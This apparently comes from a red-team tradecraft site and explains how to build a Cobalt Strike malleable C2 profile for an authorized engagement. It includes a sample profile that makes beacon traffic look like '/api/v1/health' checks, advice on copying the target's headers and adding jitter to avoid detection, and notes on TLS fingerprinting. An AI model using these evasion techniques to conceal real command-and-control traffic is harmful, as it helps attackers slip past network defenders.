Red TeamingIntermediate

Writing a Minimal C2 Malleable Profile

Shaping C2 traffic to blend into expected network baselines and avoid signature detection.

set uri "/api/v1/health"; header "User-Agent" "Mozilla/5.0"; [+] beacon traffic: looks like health check
// tradecraft
C2 profile
▸ On this page 6 sections

Background

A C2 framework's default profile is a detection fingerprint. Every mature SOC has signatures for default Cobalt Strike check-in URIs, default User-Agent strings, and beacon sleep/jitter patterns. Malleable profiles let you reshape that traffic to match something legitimately present in the target environment - a health-check endpoint, a CDN poll, an analytics beacon.

This is a tradecraft note on writing a minimal but effective profile for an authorized red team engagement.

What a profile controls

A malleable profile shapes three main dimensions:

  1. HTTP request/response structure - URI, headers, User-Agent, how data is encoded in the body or parameters
  2. Sleep/jitter - check-in interval and randomization range
  3. Process injection and in-memory staging behavior - relevant for EDR evasion, out of scope for this note
profile skeleton
set sleeptime "45000";     # 45s base
set jitter     "20";       # ±20%

http-get {
  set uri "/api/v1/health";
  client {
    header "Accept"       "application/json";
    header "User-Agent"   "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";
    metadata { base64url; parameter "sid"; }
  }
  server {
    header "Content-Type" "application/json";
    output { base64url; print; }
  }
}
! Note

Match the User-Agent to what actually appears in the target's proxy logs. A generic Chrome UA on a network that only runs Edge will still stand out.

Matching the environment baseline

Before writing a profile, spend time understanding the target's legitimate traffic. Look for:

  • High-frequency, low-payload polling - monitoring agents, CDN health checks, analytics pings. These are ideal mimicry targets.
  • Expected header sets - what headers does their SaaS tooling send? Copy them faithfully.
  • Certificate subjects - if you're doing HTTPS C2, use a categorized domain with a matching cert, not a fresh Let's Encrypt on a newly registered domain.
powershell · quick baseline check on target
# Pull proxy logs for top URIs by frequency
Get-Content proxy.log | Group-Object {($_ -split ' ')[6]} |
  Sort-Object Count -Descending | Select-Object -First 20
⚠ OPSEC

High jitter (30–40%) matters more than low sleep for avoiding frequency-based detection. A beacon that checks in every 45s ± 18s looks like an application poll; one that checks in exactly every 60s looks like a cron job.

Validating the profile

Before the engagement, run the profile through a packet capture and review it through a defender's lens:

bash
# Capture beacon traffic to pcap and open in Wireshark / Zeek
tcpdump -i lo -w beacon-test.pcap host <teamserver>

# Check for obvious signatures: default URIs, odd header ordering,
# non-browser TLS fingerprint (JA3/JA4)
⚠ Warning

TLS fingerprinting (JA3/JA4) is independent of your HTTP headers - it's derived from the TLS ClientHello. A perfect HTTP profile on a non-browser TLS stack is still fingerprintable. Use a browser-derived TLS stack or configure your C2 framework's TLS behavior explicitly.

Cleaning up

After the engagement, pull your implants and verify no stager artifacts remain on disk. Rotate your C2 domain out of active use - a domain that called back during an engagement becomes a permanent signature in the client's SIEM.

Takeaway

A good malleable profile is environment-specific. Generic "stealth" profiles from public repositories are known to every EDR vendor and SIEM rule author. The investment is in understanding the target's network baseline first, then writing a profile that fits inside it - not in applying a one-size-fits-all template.

Tested on
Lab environment · simulated SOC baseline
Tools
Cobalt Strike malleable C2 (reference)
Status
authorized use only · documented

References